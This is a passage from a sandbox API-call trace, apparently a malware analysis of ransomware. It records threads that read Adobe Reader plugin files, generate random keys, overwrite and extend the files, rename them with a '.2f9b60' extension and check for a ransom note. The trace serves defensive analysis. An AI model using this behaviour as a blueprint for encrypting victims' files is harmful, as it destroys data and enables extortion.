BaseAddress=0x1cddbf90) returned 1 [0164.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc050) returned 1 [0164.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc080) returned 1 [0164.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x42c30770 [0164.874] wcscat (in: _Dest=0x42c30770, _Source="56297c510b1" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\56297c510b1") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\56297c510b1" [0164.874] wcscat (in: _Dest=0x42c30770, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\56297c510b1.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\56297c510b1.2f9b60" [0164.874] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\56297c510b1.2f9b60", NtPathName=0x332efc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\56297c510b1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c36690 [0165.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36690) returned 1 [0165.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c338a0) returned 1 [0165.206] NtQueryInformationFile (in: FileHandle=0xef4, IoStatusBlock=0x332efcd8, FileInformation=0x332efce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x332efcd8, FileInformation=0x332efce8) returned 0x0 [0165.206] NtSetInformationFile (FileHandle=0xef4, IoStatusBlock=0x332efcd8, FileInformation=0x332efce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30770) returned 1 [0165.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce14dc0) returned 1 [0165.212] FlushFileBuffers (hFile=0xef4) returned 1 [0166.269] CloseHandle (hObject=0xef4) returned 1 [0183.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1cdb51b0 [0183.976] wcscpy (in: _Dest=0x1cdb51b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0183.976] wcscat (in: _Dest=0x1cdb51b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2F9B60-Readme.txt" [0183.976] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\2f9b60-readme.txt")) returned 0x20 [0234.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb51b0) returned 1 [0234.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae260) returned 1 Thread: id = 2589 os_tid = 0x20e0 [0156.226] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cze")) returned 0x20 [0156.227] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CZE", dwFileAttributes=0x20) returned 1 [0156.228] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cze"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb4 [0156.229] GetFileSizeEx (in: hFile=0xeb4, lpFileSize=0x3347fbe0 | out: lpFileSize=0x3347fbe0*=7680) returned 1 [0156.229] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.229] ReadFile (in: hFile=0xeb4, lpBuffer=0x3347fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3347fba8, lpOverlapped=0x0 | out: lpBuffer=0x3347fb60*, lpNumberOfBytesRead=0x3347fba8*=0x4, lpOverlapped=0x0) returned 1 [0156.383] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc470 [0156.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc4a0 [0156.384] NtQuerySystemTime (in: CurrentTime=0x3347faa0 | out: CurrentTime=0x3347faa0*=132462177615142000) returned 0x0 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x95bfb9c [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x2e3ec19a [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x5feea09b [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x2266e39c [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x5efc8be4 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x7de728d [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x78cc68f5 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0xf489524 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x3cfb73f1 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x34035855 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x3fc0fb7b [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x142cfe62 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x7091d6ec [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x581b6cd6 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x1982b115 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x7b9adc5c [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x16acc504 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x7588fe83 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x54bdfcc2 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x4876832e [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x6381e2cb [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x5ba16143 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x3e9fb8a7 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x43d6aaf4 [0156.384] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x725bf1d8 [0156.385] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0xb6f64d4 [0156.385] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x1a09e79 [0156.385] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x6dc086eb [0156.385] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x303e4c49 [0156.385] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x19d4ced4 [0156.385] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x59e355b6 [0156.385] RtlRandomEx (in: Seed=0x3347fa90 | out: Seed=0x3347fa90) returned 0x13ae5e56 [0156.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc4d0 [0156.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24aa0 [0156.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc500 [0156.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24aa0) returned 1 [0156.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc4a0) returned 1 [0156.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18be0 [0156.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24aa0 [0156.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a2daa0 [0156.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a316b0 [0156.398] ReadFile (in: hFile=0xeb4, lpBuffer=0x42a2daa0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x3347fa90, lpOverlapped=0x0 | out: lpBuffer=0x42a2daa0*, lpNumberOfBytesRead=0x3347fa90*=0x1e00, lpOverlapped=0x0) returned 1 [0158.836] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.836] WriteFile (hFile=0xeb4, lpBuffer=0x42a316b0, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x3347fa94, lpOverlapped=0x0) [0186.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca1f0 [0186.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca250 [0186.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca250) returned 1 [0186.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a316b0) returned 1 [0186.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a2daa0) returned 1 [0186.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24aa0) returned 1 [0186.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18be0) returned 1 [0186.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca250 [0186.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18be0 [0186.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24aa0 [0186.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca280 [0186.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca280) returned 1 [0186.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca280 [0186.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca2b0 [0186.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca2e0 [0186.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca2e0) returned 1 [0186.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24aa0) returned 1 [0186.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18be0) returned 1 [0186.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43102b60 [0186.636] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.637] WriteFile (in: hFile=0xeb4, lpBuffer=0x43102b60*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3347fbb0, lpOverlapped=0x0 | out: lpBuffer=0x43102b60*, lpNumberOfBytesWritten=0x3347fbb0*=0x108, lpOverlapped=0x0) returned 1 [0201.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc620 [0201.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc620) returned 1 [0201.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d2a0 [0201.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc620 [0201.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc5f0 [0201.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc5f0) returned 1 [0201.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d2b0 [0201.093] sprintf (in: _Dest=0x1ce5d2b0, _Format="%c%c" | out: _Dest="b6") returned 2 [0201.093] sprintf (in: _Dest=0x1ce5d2b2, _Format="%c%c" | out: _Dest="31") returned 2 [0201.093] sprintf (in: _Dest=0x1ce5d2b4, _Format="%c%c" | out: _Dest="e1") returned 2 [0201.093] sprintf (in: _Dest=0x1ce5d2b6, _Format="%c%c" | out: _Dest="5d") returned 2 [0201.093] sprintf (in: _Dest=0x1ce5d2b8, _Format="%c%c" | out: _Dest="df") returned 2 [0201.093] sprintf (in: _Dest=0x1ce5d2ba, _Format="%c%c" | out: _Dest="c1") returned 2 [0201.093] sprintf (in: _Dest=0x1ce5d2bc, _Format="%c%c" | out: _Dest="58") returned 2 [0201.093] sprintf (in: _Dest=0x1ce5d2be, _Format="%c%c" | out: _Dest="fb") returned 2 [0201.093] sprintf (in: _Dest=0x1ce5d2c0, _Format="%c%c" | out: _Dest="bf") returned 2 [0201.093] sprintf (in: _Dest=0x1ce5d2c2, _Format="%c%c" | out: _Dest="74") returned 2 [0201.093] sprintf (in: _Dest=0x1ce5d2c4, _Format="%c%c" | out: _Dest="3d") returned 2 [0201.093] sprintf (in: _Dest=0x1ce5d2c6, _Format="%c%c" | out: _Dest="57") returned 2 [0201.094] sprintf (in: _Dest=0x1ce5d2c8, _Format="%c%c" | out: _Dest="62") returned 2 [0201.094] sprintf (in: _Dest=0x1ce5d2ca, _Format="%c%c" | out: _Dest="bf") returned 2 [0201.094] sprintf (in: _Dest=0x1ce5d2cc, _Format="%c%c" | out: _Dest="ae") returned 2 [0201.094] sprintf (in: _Dest=0x1ce5d2ce, _Format="%c%c" | out: _Dest="8e") returned 2 [0201.094] sprintf (in: _Dest=0x1ce5d2d0, _Format="%c%c" | out: _Dest="e4") returned 2 [0201.094] sprintf (in: _Dest=0x1ce5d2d2, _Format="%c%c" | out: _Dest="13") returned 2 [0201.094] sprintf (in: _Dest=0x1ce5d2d4, _Format="%c%c" | out: _Dest="ff") returned 2 [0201.094] sprintf (in: _Dest=0x1ce5d2d6, _Format="%c%c" | out: _Dest="2a") returned 2 [0201.094] sprintf (in: _Dest=0x1ce5d2d8, _Format="%c%c" | out: _Dest="b3") returned 2 [0201.094] sprintf (in: _Dest=0x1ce5d2da, _Format="%c%c" | out: _Dest="30") returned 2 [0201.094] RtlInitAnsiString (in: DestinationString=0x3347fc28, SourceString="b631e15ddfc158fbbf743d5762bfae8ee413ff2ab330" | out: DestinationString="b631e15ddfc158fbbf743d5762bfae8ee413ff2ab330") [0201.094] RtlAnsiStringToUnicodeString (in: DestinationString=0x3347fbf8, SourceString="b631e15ddfc158fbbf743d5762bfae8ee413ff2ab330", AllocateDestinationString=1 | out: DestinationString="b631e15ddfc158fbbf743d5762bfae8ee413ff2ab330") returned 0x0 [0201.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a12b0 [0201.095] wcscat (in: _Dest=0x43189bc0, _Source="b631e15ddfc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b631e15ddfc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b631e15ddfc" [0201.095] wcscat (in: _Dest=0x43189bc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b631e15ddfc.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b631e15ddfc.2f9b60" [0201.095] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b631e15ddfc.2f9b60", NtPathName=0x3347fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b631e15ddfc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314b1a0 Thread: id = 2590 os_tid = 0x20e4 [0156.231] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.dan")) returned 0x20 [0156.231] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DAN", dwFileAttributes=0x20) returned 1 [0156.231] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.dan"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xec4 [0156.232] GetFileSizeEx (in: hFile=0xec4, lpFileSize=0x326bf940 | out: lpFileSize=0x326bf940*=7680) returned 1 [0156.232] SetFilePointerEx (in: hFile=0xec4, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.232] ReadFile (in: hFile=0xec4, lpBuffer=0x326bf8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x326bf908, lpOverlapped=0x0 | out: lpBuffer=0x326bf8c0*, lpNumberOfBytesRead=0x326bf908*=0x4, lpOverlapped=0x0) returned 1 [0156.550] SetFilePointerEx (in: hFile=0xec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc650 [0156.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc6e0 [0156.551] NtQuerySystemTime (in: CurrentTime=0x326bf800 | out: CurrentTime=0x326bf800*=132462177616858000) returned 0x0 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0xea994a6 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x752e43d3 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x4946b32a [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x4c8b03b8 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x62c98d39 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x76a5d165 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x7804c29 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x642818a9 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x73c701eb [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x4aae2ae7 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x5daae31f [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x1ce7e613 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x29dd08fc [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x4c86b6e8 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0xe755e06 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x7bf4ebe2 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x13ac0660 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x10d04cfd [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x19d3e38c [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x2f19ffe8 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x7c53aa20 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x34cf8c46 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x11c252da [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x157f3451 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x2c03e2e1 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x6ead9163 [0156.551] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x57042022 [0156.552] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x23365f0a [0156.552] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x3d7ac5dd [0156.552] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x14d61cdd [0156.552] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x5bb06177 [0156.552] RtlRandomEx (in: Seed=0x326bf7f0 | out: Seed=0x326bf7f0) returned 0x2eb9d8c6 [0156.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc710 [0156.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5da0 [0156.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc740 [0156.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5da0) returned 1 [0156.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc6e0) returned 1 [0156.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18d20 [0156.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5da0 [0156.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a4be10 [0156.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a4fa20 [0156.588] ReadFile (in: hFile=0xec4, lpBuffer=0x42a4be10, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x326bf7f0, lpOverlapped=0x0 | out: lpBuffer=0x42a4be10*, lpNumberOfBytesRead=0x326bf7f0*=0x1e00, lpOverlapped=0x0) returned 1 [0159.655] SetFilePointerEx (in: hFile=0xec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.655] WriteFile (hFile=0xec4, lpBuffer=0x42a4fa20, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x326bf7f4, lpOverlapped=0x0) [0186.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca6a0 [0186.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca6d0 [0186.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca6d0) returned 1 [0186.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a4fa20) returned 1 [0186.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a4be10) returned 1 [0186.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5da0) returned 1 [0186.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18d20) returned 1 [0186.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca6d0 [0186.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18d20 [0186.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5da0 [0186.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca700 [0186.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca700) returned 1 [0186.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca700 [0186.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca730 [0186.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca760 [0186.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca760) returned 1 [0186.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5da0) returned 1 [0186.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18d20) returned 1 [0186.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x431030b0 [0186.691] SetFilePointerEx (in: hFile=0xec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.692] WriteFile (in: hFile=0xec4, lpBuffer=0x431030b0*, nNumberOfBytesToWrite=0x108, 